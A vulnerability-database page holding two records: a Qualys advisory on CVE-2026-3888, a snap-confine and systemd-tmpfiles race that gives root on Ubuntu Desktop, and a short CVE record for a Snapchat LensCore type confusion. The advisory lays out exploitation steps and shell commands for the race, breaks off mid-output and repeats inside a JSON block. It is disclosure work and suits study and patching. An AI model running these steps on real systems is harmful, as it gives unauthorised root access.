Search
Find a vulnerability
Search criteria
ⓘ
Use this form to refine search results.
Full-text search supports keyword queries with ranking and filtering.
You can combine vendor, product, and sources to narrow results.
Enable “Apply ordering” to sort by date instead of relevance.
3 vulnerabilities by Snap
GCVE-1988-2026-0259
Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-11 11:13
VLAI
EPSS
VEX
Title
snap-confine + systemd-tmpfiles = root (CVE-2026-3888)
Summary
Qualys Security Advisory
Good things come to those who wait:
snap-confine + systemd-tmpfiles = root (CVE-2026-3888)
========================================================================
Contents
========================================================================
Summary
Case study: Ubuntu Desktop 24.04
- Analysis
- Exploitation
Case study: Ubuntu Desktop 25.10
- Overview
- Exploitation
A quick note on the uutils coreutils (the rust-coreutils)
Acknowledgments
Timeline
And that is why Caterpillar was never in a hurry.
She knew that good things come to those who wait.
-- Tinga Tinga Tales, "Why Caterpillar is Never in a Hurry"
========================================================================
Summary
========================================================================
We discovered an unusual Local Privilege Escalation (LPE), from any
unprivileged user to full root, in the default installation of Ubuntu
Desktop >= 24.04. We found this vulnerability particularly interesting:
a/ it stems from the interaction of two otherwise secure programs:
- snap-confine, which is set-user-ID-root (or set-capabilities), and
"used internally by snapd to construct the execution environment for
snap applications" (man snap-confine);
- systemd-tmpfiles, which is executed as root once per day, and
"creates, deletes, and cleans up files and directories, using the
configuration file format and location specified in tmpfiles.d(5)"
(man systemd-tmpfiles);
b/ an unprivileged local attacker who wants to exploit this LPE must
wait for 10 days (in Ubuntu > 24.04) or 30 days (in Ubuntu 24.04) to
obtain a fully privileged root shell.
As a side note, we also discovered a local vulnerability (a race
condition) in the uutils coreutils (a Rust rewrite of the standard GNU
coreutils -- ls, cp, rm, cat, sort, etc), which are installed by default
in Ubuntu 25.10. This vulnerability was mitigated in Ubuntu 25.10 before
its release (by replacing the uutils coreutils' rm with the standard GNU
coreutils' rm), and would otherwise have resulted in an LPE (from any
unprivileged user to full root) in the default installation of Ubuntu
Desktop 25.10.
========================================================================
Case study: Ubuntu Desktop 24.04
========================================================================
Go slow, go slow,
If you want to grow.
-- Tinga Tinga Tales, "Why Caterpillar is Never in a Hurry"
________________________________________________________________________
Analysis
________________________________________________________________________
We recently noticed that, in the default installation of Ubuntu since
version 24.04, systemd-tmpfiles is configured to automatically clean up
the files and directories in /tmp that are older than 30 days (in Ubuntu
24.04) or 10 days (in Ubuntu > 24.04). More precisely, systemd-tmpfiles
traverses /tmp once per day and deletes all the files and directories
that have not been accessed nor modified for more than 10 or 30 days.
------------------------------------------------------------------------
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
...
$ cat /usr/lib/tmpfiles.d/tmp.conf
...
D /tmp 1777 root root 30d
#q /var/tmp 1777 root root 30d
------------------------------------------------------------------------
------------------------------------------------------------------------
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 25.10"
...
$ cat /usr/lib/tmpfiles.d/tmp.conf
...
q /tmp 1777 root root 10d
q /var/tmp 1777 root root 30d
------------------------------------------------------------------------
From our "Lemmings" and "Leeloo" advisories, we then remembered that
snap-confine does highly privileged work in /tmp; in particular, in the
/tmp/snap-private-tmp directory, which is securely created at boot time
(as user root, mode 0700):
https://www.qualys.com/2022/02/17/cve-2021-44731/oh-snap-more-lemmings.txt
https://www.qualys.com/2022/11/30/cve-2022-3328/advisory-snap.txt
------------------------------------------------------------------------
$ cat /usr/lib/tmpfiles.d/snapd.conf
D! /tmp/snap-private-tmp 0700 root root -
------------------------------------------------------------------------
We therefore came up with the following idea: if, unbeknownst to
snap-confine, systemd-tmpfiles deletes one of the files or directories
from snap-confine's /tmp/snap-private-tmp, can we (an unprivileged local
attacker) re-create the deleted file or directory ourselves, and exploit
snap-confine's privileged work to obtain a fully privileged root shell?
Still from our "Lemmings" and "Leeloo" advisories, we also remembered
that, to set up a snap's sandbox, snap-confine creates a directory named
/tmp/snap-private-tmp/$SNAP/tmp (as user root, mode 01777) that is later
bind-mounted onto the /tmp directory inside the snap's sandbox.
And inside this /tmp directory (inside the snap's sandbox), snap-confine
creates a directory named /tmp/.snap (as user root, mode 0755) to create
"mimics"; for example, inside the sandbox of each and every snap that is
installed by default on Ubuntu Desktop, snap-confine bind-mounts the
/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 directory:
- to bind-mount this directory, snap-confine must first create its
/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 mountpoint, which does not
normally exist;
- but inside the snap's sandbox, /usr/lib/x86_64-linux-gnu is in a
read-only filesystem (the "core22" base's squashfs);
- so snap-confine must first create a "mimic" of
/usr/lib/x86_64-linux-gnu (a writable copy of
/usr/lib/x86_64-linux-gnu), by:
1/ bind-mounting the original, read-only /usr/lib/x86_64-linux-gnu onto
/tmp/.snap/usr/lib/x86_64-linux-gnu (inside the snap's sandbox);
2/ mounting a new, writable tmpfs onto /usr/lib/x86_64-linux-gnu;
3/ bind-mounting every file and directory from
/tmp/.snap/usr/lib/x86_64-linux-gnu back into /usr/lib/x86_64-linux-gnu;
4/ creating the /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 mountpoint
(which is in a writable tmpfs now);
5/ finally bind-mounting
/snap/firefox/6565/gnome-platform/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0
(for example) onto /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0.
------------------------------------------------------------------------
$ grep /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 /var/lib/snapd/mount/*
/var/lib/snapd/mount/snap.firefox.fstab:/snap/firefox/6565/gnome-platform/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0
/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 none rbind,rw,x-snapd.origin=layout 0 0
...
------------------------------------------------------------------------
Consequently, our theoretical idea to exploit snap-confine is:
- inside the snap's sandbox, we frequently write to the /tmp directory
(but not to /tmp/.snap), and patiently wait for systemd-tmpfiles to
delete the unmodified /tmp/.snap directory (but not /tmp) after 10
days (in Ubuntu > 24.04) or 30 days (in Ubuntu 24.04);
- we re-create the /tmp/.snap directory ourselves (indeed, /tmp is
world-writable), and create our own copy of /usr/lib/x86_64-linux-gnu
in /tmp/.snap/usr/lib/x86_64-linux-gnu.exchange;
- we force snap-confine to set up the snap's sandbox afresh, but during
the creation of the /usr/lib/x86_64-linux-gnu "mimic", between step 1/
and step 3/, we quickly replace /tmp/.snap/usr/lib/x86_64-linux-gnu
with our own /tmp/.snap/usr/lib/x86_64-linux-gnu.exchange (indeed,
/tmp/.snap belongs to us);
- as a result, during step 3/ of the creation of this "mimic",
snap-confine bind-mounts our own files into /usr/lib/x86_64-linux-gnu,
so we control every shared library and the dynamic loader (inside the
snap's sandbox) and can execute arbitrary code as root by simply
executing any dynamically-linked SUID-root binary.
In the following proof of concept for Ubuntu Desktop 24.04, we put this
theoretical idea into practice.
________________________________________________________________________
Exploitation
________________________________________________________________________
First, we set up the sandbox of one of the snaps that are installed by
default on Ubuntu Desktop (the "firefox" snap) by executing snap-confine
with the "core22" base, then we obtain an unprivileged shell inside this
snap's sandbox, we chdir to its /tmp directory, we frequently write to
this directory (but not to its /tmp/.snap sub-directory), and we wait
for systemd-tmpfiles to delete the unmodified /tmp/.snap directory
(after 30 days, in Ubuntu 24.04).
------------------------------------------------------------------------
outside$ cat /etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
...
outside$ id
uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)
outside$ env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base core22 snap.firefox.hook.configure
/bin/bash
inside$ cd /tmp
inside$ stat ./.snap
...
Access: (0755/drwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
...
inside$ while test -d ./.snap; do touch ./; sleep 60; done
[30 days pass]
inside$ stat ./.snap
stat: cannot statx './.snap': No such file or directory
------------------------------------------------------------------------
Second, from another shell outside the snap's sandbox, we chdir to
/tmp/snap-private-tmp/$SNAP/tmp (/tmp inside the snap's sandbox) through
the /proc/pid/cwd of our sandboxed shell (indeed, we cannot chdir to
/tmp/snap-private-tmp/$SNAP/tmp directly because /tmp/snap-private-tmp
belongs to root, mode 0700), we destroy the snap's sandbox (but not its
/tmp directory) by executing snap-confine with an invalid base (the
"snapd" base), and we run our firefox_24.04.c helper (which is basically
CVE-2021-44731-Desktop.c from our "Lemmings" advisory):
- we re-create the ./.snap directory ourselves (/tmp/.snap inside the
snap's sandbox), since it was deleted by systemd-tmpfiles, and we
create our own copy of /snap/core22/current/usr/lib/x86_64-linux-gnu
in ./.snap/usr/lib/x86_64-linux-gnu.exchange;
- we force snap-confine to set up the snap's sandbox afresh, by
executing it with the "core22" base, but we "single-step" this
execution of snap-confine (we set SNAPD_DEBUG=1, we redirect its
stderr to an AF_UNIX socket with minimized SO_RCVBUF and SO_SNDBUF, we
read() its output byte by byte, and we recv(MSG_PEEK) at its buffered
output), to reliably win the race condition between step 1/ and step
3/ of the "mimic" creation of /usr/lib/x86_64-linux-gnu;
- as soon as we read() or recv() the following message (immediately
after step 1/ of the "mimic" creation of /usr/lib/x86_64-linux-gnu),
mount name:"/usr/lib/x86_64-linux-gnu" dir:"/tmp/.snap/usr/lib/x86_64-linux-gnu"
we quickly replace snap-confine's ./.snap/usr/lib/x86_64-linux-gnu
with our own ./.snap/usr/lib/x86_64-linux-gnu.exchange, whose contents
are then bind-mounted into /usr/lib/x86_64-linux-gnu, thus giving us
full control over every shared library and the dynamic loader inside
the snap's sandbox.
------------------------------------------------------------------------
outside$ cd /proc/2396/cwd
outside$ env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base snapd snap.firefox.hook.configure
/nonexistent
/user.slice/user-1001.slice/session-145.scope is not a snap cgroup
outside$ systemd-run --user --scope --unit=snap.whatever /bin/bash
Running as unit: snap.whatever.scope; invocation ID: ed50ae80aa9844d6a6e4499ea1f4bba8
outside$ env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base snapd snap.firefox.hook.configure
/nonexistent
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_yMpga4//dev: No such file or directory
outside$ exit
outside$ ~/firefox_24.04
hange.go:351: DEBUG: mount name:"/usr/lib/x86_64-linux-gnu" dir:"/tmp/.snap/usr/lib/x86_64-linux-gnu" type:""
opts:MS_BIND|MS_REC unparsed:"" (error: <nil>)
change.go:351: DEBUG: mount name:"tmpfs" dir:"/usr/l
Severity
No CVSS data available.
Assigner
References
12 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Snap | + systemd-tmpfiles |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0259 (this record)
- related CVE-2021-44731
- related CVE-2022-3328
- related CVE-2025-5054
- related CVE-2026-3888
{
"containers": {
"cna": {
"affected": [
{
"product": "+ systemd-tmpfiles",
"vendor": "Snap",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Qualys Security Advisory via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Qualys Security Advisory\n\nGood things come to those who wait:\nsnap-confine + systemd-tmpfiles = root (CVE-2026-3888)\n\n\n========================================================================\nContents\n========================================================================\n\nSummary\nCase study: Ubuntu Desktop 24.04\n- Analysis\n- Exploitation\nCase study: Ubuntu Desktop 25.10\n- Overview\n- Exploitation\nA quick note on the uutils coreutils (the rust-coreutils)\nAcknowledgments\nTimeline\n\n And that is why Caterpillar was never in a hurry.\n She knew that good things come to those who wait.\n -- Tinga Tinga Tales, \"Why Caterpillar is Never in a Hurry\"\n\n\n========================================================================\nSummary\n========================================================================\n\nWe discovered an unusual Local Privilege Escalation (LPE), from any\nunprivileged user to full root, in the default installation of Ubuntu\nDesktop \u003e= 24.04. We found this vulnerability particularly interesting:\n\na/ it stems from the interaction of two otherwise secure programs:\n\n- snap-confine, which is set-user-ID-root (or set-capabilities), and\n \"used internally by snapd to construct the execution environment for\n snap applications\" (man snap-confine);\n\n- systemd-tmpfiles, which is executed as root once per day, and\n \"creates, deletes, and cleans up files and directories, using the\n configuration file format and location specified in tmpfiles.d(5)\"\n (man systemd-tmpfiles);\n\nb/ an unprivileged local attacker who wants to exploit this LPE must\nwait for 10 days (in Ubuntu \u003e 24.04) or 30 days (in Ubuntu 24.04) to\nobtain a fully privileged root shell.\n\nAs a side note, we also discovered a local vulnerability (a race\ncondition) in the uutils coreutils (a Rust rewrite of the standard GNU\ncoreutils -- ls, cp, rm, cat, sort, etc), which are installed by default\nin Ubuntu 25.10. This vulnerability was mitigated in Ubuntu 25.10 before\nits release (by replacing the uutils coreutils\u0027 rm with the standard GNU\ncoreutils\u0027 rm), and would otherwise have resulted in an LPE (from any\nunprivileged user to full root) in the default installation of Ubuntu\nDesktop 25.10.\n\n\n========================================================================\nCase study: Ubuntu Desktop 24.04\n========================================================================\n\n Go slow, go slow,\n If you want to grow.\n -- Tinga Tinga Tales, \"Why Caterpillar is Never in a Hurry\"\n\n________________________________________________________________________\n\nAnalysis\n________________________________________________________________________\n\nWe recently noticed that, in the default installation of Ubuntu since\nversion 24.04, systemd-tmpfiles is configured to automatically clean up\nthe files and directories in /tmp that are older than 30 days (in Ubuntu\n24.04) or 10 days (in Ubuntu \u003e 24.04). More precisely, systemd-tmpfiles\ntraverses /tmp once per day and deletes all the files and directories\nthat have not been accessed nor modified for more than 10 or 30 days.\n\n------------------------------------------------------------------------\n$ cat /etc/os-release\nPRETTY_NAME=\"Ubuntu 24.04.3 LTS\"\n...\n\n$ cat /usr/lib/tmpfiles.d/tmp.conf\n...\nD /tmp 1777 root root 30d\n#q /var/tmp 1777 root root 30d\n------------------------------------------------------------------------\n\n------------------------------------------------------------------------\n$ cat /etc/os-release\nPRETTY_NAME=\"Ubuntu 25.10\"\n...\n\n$ cat /usr/lib/tmpfiles.d/tmp.conf\n...\nq /tmp 1777 root root 10d\nq /var/tmp 1777 root root 30d\n------------------------------------------------------------------------\n\nFrom our \"Lemmings\" and \"Leeloo\" advisories, we then remembered that\nsnap-confine does highly privileged work in /tmp; in particular, in the\n/tmp/snap-private-tmp directory, which is securely created at boot time\n(as user root, mode 0700):\n\n https://www.qualys.com/2022/02/17/cve-2021-44731/oh-snap-more-lemmings.txt\n https://www.qualys.com/2022/11/30/cve-2022-3328/advisory-snap.txt\n\n------------------------------------------------------------------------\n$ cat /usr/lib/tmpfiles.d/snapd.conf\nD! /tmp/snap-private-tmp 0700 root root -\n------------------------------------------------------------------------\n\nWe therefore came up with the following idea: if, unbeknownst to\nsnap-confine, systemd-tmpfiles deletes one of the files or directories\nfrom snap-confine\u0027s /tmp/snap-private-tmp, can we (an unprivileged local\nattacker) re-create the deleted file or directory ourselves, and exploit\nsnap-confine\u0027s privileged work to obtain a fully privileged root shell?\n\nStill from our \"Lemmings\" and \"Leeloo\" advisories, we also remembered\nthat, to set up a snap\u0027s sandbox, snap-confine creates a directory named\n/tmp/snap-private-tmp/$SNAP/tmp (as user root, mode 01777) that is later\nbind-mounted onto the /tmp directory inside the snap\u0027s sandbox.\n\nAnd inside this /tmp directory (inside the snap\u0027s sandbox), snap-confine\ncreates a directory named /tmp/.snap (as user root, mode 0755) to create\n\"mimics\"; for example, inside the sandbox of each and every snap that is\ninstalled by default on Ubuntu Desktop, snap-confine bind-mounts the\n/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 directory:\n\n- to bind-mount this directory, snap-confine must first create its\n /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 mountpoint, which does not\n normally exist;\n\n- but inside the snap\u0027s sandbox, /usr/lib/x86_64-linux-gnu is in a\n read-only filesystem (the \"core22\" base\u0027s squashfs);\n\n- so snap-confine must first create a \"mimic\" of\n /usr/lib/x86_64-linux-gnu (a writable copy of\n /usr/lib/x86_64-linux-gnu), by:\n\n1/ bind-mounting the original, read-only /usr/lib/x86_64-linux-gnu onto\n/tmp/.snap/usr/lib/x86_64-linux-gnu (inside the snap\u0027s sandbox);\n\n2/ mounting a new, writable tmpfs onto /usr/lib/x86_64-linux-gnu;\n\n3/ bind-mounting every file and directory from\n/tmp/.snap/usr/lib/x86_64-linux-gnu back into /usr/lib/x86_64-linux-gnu;\n\n4/ creating the /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 mountpoint\n(which is in a writable tmpfs now);\n\n5/ finally bind-mounting\n/snap/firefox/6565/gnome-platform/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0\n(for example) onto /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0.\n\n------------------------------------------------------------------------\n$ grep /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 /var/lib/snapd/mount/*\n/var/lib/snapd/mount/snap.firefox.fstab:/snap/firefox/6565/gnome-platform/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 \n/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 none rbind,rw,x-snapd.origin=layout 0 0\n...\n------------------------------------------------------------------------\n\nConsequently, our theoretical idea to exploit snap-confine is:\n\n- inside the snap\u0027s sandbox, we frequently write to the /tmp directory\n (but not to /tmp/.snap), and patiently wait for systemd-tmpfiles to\n delete the unmodified /tmp/.snap directory (but not /tmp) after 10\n days (in Ubuntu \u003e 24.04) or 30 days (in Ubuntu 24.04);\n\n- we re-create the /tmp/.snap directory ourselves (indeed, /tmp is\n world-writable), and create our own copy of /usr/lib/x86_64-linux-gnu\n in /tmp/.snap/usr/lib/x86_64-linux-gnu.exchange;\n\n- we force snap-confine to set up the snap\u0027s sandbox afresh, but during\n the creation of the /usr/lib/x86_64-linux-gnu \"mimic\", between step 1/\n and step 3/, we quickly replace /tmp/.snap/usr/lib/x86_64-linux-gnu\n with our own /tmp/.snap/usr/lib/x86_64-linux-gnu.exchange (indeed,\n /tmp/.snap belongs to us);\n\n- as a result, during step 3/ of the creation of this \"mimic\",\n snap-confine bind-mounts our own files into /usr/lib/x86_64-linux-gnu,\n so we control every shared library and the dynamic loader (inside the\n snap\u0027s sandbox) and can execute arbitrary code as root by simply\n executing any dynamically-linked SUID-root binary.\n\nIn the following proof of concept for Ubuntu Desktop 24.04, we put this\ntheoretical idea into practice.\n\n________________________________________________________________________\n\nExploitation\n________________________________________________________________________\n\nFirst, we set up the sandbox of one of the snaps that are installed by\ndefault on Ubuntu Desktop (the \"firefox\" snap) by executing snap-confine\nwith the \"core22\" base, then we obtain an unprivileged shell inside this\nsnap\u0027s sandbox, we chdir to its /tmp directory, we frequently write to\nthis directory (but not to its /tmp/.snap sub-directory), and we wait\nfor systemd-tmpfiles to delete the unmodified /tmp/.snap directory\n(after 30 days, in Ubuntu 24.04).\n\n------------------------------------------------------------------------\noutside$ cat /etc/os-release\nPRETTY_NAME=\"Ubuntu 24.04.3 LTS\"\n...\n\noutside$ id\nuid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)\n\noutside$ env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base core22 snap.firefox.hook.configure \n/bin/bash\n\ninside$ cd /tmp\n\ninside$ stat ./.snap\n...\nAccess: (0755/drwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)\n...\n\ninside$ while test -d ./.snap; do touch ./; sleep 60; done\n[30 days pass]\n\ninside$ stat ./.snap\nstat: cannot statx \u0027./.snap\u0027: No such file or directory\n------------------------------------------------------------------------\n\nSecond, from another shell outside the snap\u0027s sandbox, we chdir to\n/tmp/snap-private-tmp/$SNAP/tmp (/tmp inside the snap\u0027s sandbox) through\nthe /proc/pid/cwd of our sandboxed shell (indeed, we cannot chdir to\n/tmp/snap-private-tmp/$SNAP/tmp directly because /tmp/snap-private-tmp\nbelongs to root, mode 0700), we destroy the snap\u0027s sandbox (but not its\n/tmp directory) by executing snap-confine with an invalid base (the\n\"snapd\" base), and we run our firefox_24.04.c helper (which is basically\nCVE-2021-44731-Desktop.c from our \"Lemmings\" advisory):\n\n- we re-create the ./.snap directory ourselves (/tmp/.snap inside the\n snap\u0027s sandbox), since it was deleted by systemd-tmpfiles, and we\n create our own copy of /snap/core22/current/usr/lib/x86_64-linux-gnu\n in ./.snap/usr/lib/x86_64-linux-gnu.exchange;\n\n- we force snap-confine to set up the snap\u0027s sandbox afresh, by\n executing it with the \"core22\" base, but we \"single-step\" this\n execution of snap-confine (we set SNAPD_DEBUG=1, we redirect its\n stderr to an AF_UNIX socket with minimized SO_RCVBUF and SO_SNDBUF, we\n read() its output byte by byte, and we recv(MSG_PEEK) at its buffered\n output), to reliably win the race condition between step 1/ and step\n 3/ of the \"mimic\" creation of /usr/lib/x86_64-linux-gnu;\n\n- as soon as we read() or recv() the following message (immediately\n after step 1/ of the \"mimic\" creation of /usr/lib/x86_64-linux-gnu),\n\n mount name:\"/usr/lib/x86_64-linux-gnu\" dir:\"/tmp/.snap/usr/lib/x86_64-linux-gnu\"\n\n we quickly replace snap-confine\u0027s ./.snap/usr/lib/x86_64-linux-gnu\n with our own ./.snap/usr/lib/x86_64-linux-gnu.exchange, whose contents\n are then bind-mounted into /usr/lib/x86_64-linux-gnu, thus giving us\n full control over every shared library and the dynamic loader inside\n the snap\u0027s sandbox.\n\n------------------------------------------------------------------------\noutside$ cd /proc/2396/cwd\n\noutside$ env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base snapd snap.firefox.hook.configure \n/nonexistent\n/user.slice/user-1001.slice/session-145.scope is not a snap cgroup\n\noutside$ systemd-run --user --scope --unit=snap.whatever /bin/bash\nRunning as unit: snap.whatever.scope; invocation ID: ed50ae80aa9844d6a6e4499ea1f4bba8\n\noutside$ env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base snapd snap.firefox.hook.configure \n/nonexistent\ncannot perform operation: mount --rbind /dev /tmp/snap.rootfs_yMpga4//dev: No such file or directory\n\noutside$ exit\n\noutside$ ~/firefox_24.04\nhange.go:351: DEBUG: mount name:\"/usr/lib/x86_64-linux-gnu\" dir:\"/tmp/.snap/usr/lib/x86_64-linux-gnu\" type:\"\" \nopts:MS_BIND|MS_REC unparsed:\"\" (error: \u003cnil\u003e)\nchange.go:351: DEBUG: mount name:\"tmpfs\" dir:\"/usr/l"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T11:13:56Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/11"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Mar/11"
},
{
"url": "https://bugs.launchpad.net/ubuntu/+source/rust-coreutils/+bug/2111815"
},
{
"url": "https://defcon.social/@thedarktangent/116157827849844661"
},
{
"url": "https://github.com/uutils/coreutils/commit/1183529cd2deafb38bed3b6bf212357b68eefa41"
},
{
"url": "https://github.com/uutils/coreutils/commit/45e6cbd109a0a33d82e90c985813ea83d4009714"
},
{
"url": "https://github.com/uutils/coreutils/commit/e773c95c4e62424db17563242c35e488a6d1ae9b"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://phenoelit.de/fx.html"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.qualys.com/2022/02/17/cve-2021-44731/oh-snap-more-lemmings.txt"
},
{
"url": "https://www.qualys.com/2022/11/30/cve-2022-3328/advisory-snap.txt"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Mar/11"
],
"discovery": "EXTERNAL"
},
"title": "snap-confine + systemd-tmpfiles = root (CVE-2026-3888)",
"x_gcve": [
{
"recordType": "reference",
"relationships": [
{
"destId": "CVE-2021-44731",
"type": "related"
},
{
"destId": "CVE-2022-3328",
"type": "related"
},
{
"destId": "CVE-2025-5054",
"type": "related"
},
{
"destId": "CVE-2026-3888",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0259",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/11",
"automated": true,
"contentSha256": "6cb542804c42c4175ffc9f790fa57551029b5c2cda5359951ce427b8992a5a88",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Mar/11",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-03-17T19:38:21Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0259"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T08:13:42Z",
"dateUpdated": "2026-09-11T11:13:56Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0259"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2024-5436 (GCVE-0-2024-5436)
Vulnerability from nvd – Published: 2024-05-31 08:11 – Updated: 2024-08-01 21:11
VLAI
EPSS
VEX
Title
Type Confusion in Snapchat Lenscore
Summary
Type confusion in Snapchat LensCore could lead to denial of service or arbitrary code execution prior to version 12.88. We recommend upgrading to version 12.88 or above.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2024-06-03 14:28 UTC
CWE
- CWE-704 - Incorrect Type Conversion or Cast
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://hackerone.com/snapchat |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Snap | Snapchat Lenscore |
Affected:
0 , < 12.88
(semver)
|
|
| snap | snapchat_lenscore |
Affected:
0 , < 12.88
(custom)
cpe:2.3:a:snap:snapchat_lenscore:*:*:*:*:*:*:*:* |
Date Public
2024-05-29 10:00
{
"containers": {
"adp": [
{
"affected": [
{
"cpes": [
"cpe:2.3:a:snap:snapchat_lenscore:*:*:*:*:*:*:*:*"
],
"defaultStatus": "affected",
"product": "snapchat_lenscore",
"vendor": "snap",
"versions": [
{
"lessThan": "12.88",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"metrics": [
{
"other": {
"content": {
"id": "CVE-2024-5436",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2024-06-03T14:28:10.232476Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2024-06-04T18:02:21.146Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"providerMetadata": {
"dateUpdated": "2024-08-01T21:11:12.695Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_transferred"
],
"url": "https://hackerone.com/snapchat"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "Snapchat Lenscore",
"vendor": "Snap",
"versions": [
{
"lessThan": "12.88",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"datePublic": "2024-05-29T10:00:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eType confusion in Snapchat LensCore could lead to denial of service or arbitrary code execution prior to version 12.88. We recommend upgrading to version 12.88 or above.\u003c/span\u003e\u003cbr\u003e"
}
],
"value": "Type confusion in Snapchat LensCore could lead to denial of service or arbitrary code execution prior to version 12.88. We recommend upgrading to version 12.88 or above."
}
],
"impacts": [
{
"capecId": "CAPEC-253",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-253 Remote Code Inclusion"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "HIGH",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 7.3,
"baseSeverity": "HIGH",
"privilegesRequired": "LOW",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "HIGH",
"subConfidentialityImpact": "LOW",
"subIntegrityImpact": "HIGH",
"userInteraction": "PASSIVE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:P/VC:L/VI:H/VA:H/SC:L/SI:H/SA:H",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-704",
"description": "CWE-704 Incorrect Type Conversion or Cast",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2024-05-31T08:11:34.578Z",
"orgId": "14ed7db2-1595-443d-9d34-6215bf890778",
"shortName": "Google"
},
"references": [
{
"url": "https://hackerone.com/snapchat"
}
],
"source": {
"discovery": "USER"
},
"title": "Type Confusion in Snapchat Lenscore",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "14ed7db2-1595-443d-9d34-6215bf890778",
"assignerShortName": "Google",
"cveId": "CVE-2024-5436",
"datePublished": "2024-05-31T08:11:34.578Z",
"dateReserved": "2024-05-28T16:04:39.285Z",
"dateUpdated": "2024-08-01T21:11:12.695Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
